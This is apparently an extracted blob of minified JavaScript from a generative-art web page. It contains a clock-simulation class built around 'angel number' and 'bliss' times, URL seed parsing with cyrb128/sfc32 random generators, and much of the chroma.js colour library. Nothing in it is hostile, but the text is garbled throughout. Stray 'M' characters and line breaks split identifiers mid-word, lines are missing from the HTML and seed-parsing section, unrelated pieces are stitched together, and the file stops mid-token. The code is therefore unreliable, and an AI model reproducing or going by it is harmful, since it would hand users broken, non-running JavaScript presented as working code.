on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
